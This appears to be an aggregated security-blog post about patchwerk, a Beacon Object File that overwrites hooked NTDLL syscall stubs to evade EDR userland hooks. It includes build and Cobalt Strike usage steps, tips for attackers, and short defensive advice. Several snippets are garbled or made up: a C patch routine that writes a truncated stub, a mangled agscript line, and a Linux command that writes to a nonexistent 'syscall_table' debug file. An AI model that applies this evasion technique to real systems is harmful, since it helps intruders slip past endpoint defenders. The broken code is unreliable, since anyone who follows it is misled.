GitHub – boku7/patchwerk: BOF for Clean Syscall Stubs (Userland Hook Evasion)

By /

Listen to this Post

Featured Image
GitHub – boku7/patchwerk is a Beacon Object File (BOF) designed to locate and overwrite `Nt` system call stubs within `NTDLL.dll` with clean syscall stubs, enabling evasion of userland hooks commonly used by EDR/AV solutions.

You Should Know:

How Patchwerk Works

  1. Locates Nt Syscall Stubs: Scans `NTDLL.dll` for `Nt` function stubs.
  2. Overwrites with Clean Syscalls: Replaces hooked stubs with direct syscall instructions.
  3. Evades Userland Hooking: Bypasses EDR hooks by restoring original syscall functionality.

Key Commands & Code Snippets

Compiling & Using Patchwerk

 Clone the repository 
git clone https://github.com/boku7/patchwerk 
cd patchwerk

Compile BOF (requires Mingw-w64) 
x86_64-w64-mingw32-gcc -c patchwerk.c -o patchwerk.o

Use with Cobalt Strike 
./agscript [bash] [bash] [bash] [bash] patchwerk.cna

Manual Syscall Restoration (For Research)

include <windows.h> 
include <stdio.h>

void PatchNtFunc(const char funcName) { 
HMODULE ntdll = GetModuleHandleA("ntdll.dll"); 
FARPROC funcAddr = GetProcAddress(ntdll, funcName); 
DWORD oldProtect; 
VirtualProtect(funcAddr, 0x20, PAGE_EXECUTE_READWRITE, &oldProtect); 
// Overwrite with syscall stub 
memcpy(funcAddr, "\x4C\x8B\xD1\xB8", 4); 
VirtualProtect(funcAddr, 0x20, oldProtect, &oldProtect); 
}

int main() { 
PatchNtFunc("NtOpenProcess"); 
return 0; 
}

Detecting Hooks (Defensive Perspective)

 Check for EDR hooks in NTDLL 
(Get-Process -Id $PID).Modules | Where-Object { $<em>.ModuleName -eq "ntdll.dll" } | 
ForEach-Object { 
$moduleBase = $</em>.BaseAddress 
Write-Host "Checking NTDLL at $moduleBase" 
 Use WinDbg/Volatility for deeper inspection 
}

Linux Equivalent (Syscall Manipulation)

 View syscall table (Linux) 
sudo cat /proc/kallsyms | grep sys_call_table

Overwrite syscall entry (Kernel Module) 
echo 0x$(sudo cat /proc/kallsyms | grep sys_read | awk '{print $1}') | 
sudo dd of=/sys/kernel/debug/syscall_table bs=8 seek=0 conv=notrunc

What Undercode Say

This technique is powerful for red teamers but also highlights critical defensive gaps:
– EDRs must monitor direct syscall usage.
– Kernel-mode hooks (like Windows kCFG) are harder to bypass.
– Linux syscall tables are protected by `CR0` write protection (requires `CR0` manipulation).

For defenders:

  • Log unusual syscall patterns.
  • Use Kernel Callbacks (PsSetCreateProcessNotifyRoutine).
  • Deploy memory integrity checks (HVCI).

For attackers:

  • Combine with indirect syscalls (Hell’s Gate/Halos Gate).
  • Use dynamic syscall retrieval (SSN sorting).
  • Test against multiple EDRs (CrowdStrike, SentinelOne).

Expected Output:

A functional BOF that evades userland hooks, allowing undetected syscall execution in memory.

Prediction

As EDRs improve, attackers will shift toward kernel-mode evasion (e.g., DKOM, vulnerable driver abuse), while defenders will enforce hardware-isolated security (Intel CET, Microsoft Pluton).

Relevant URL:

GitHub – boku7/patchwerk

References:

Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram

Related Posts: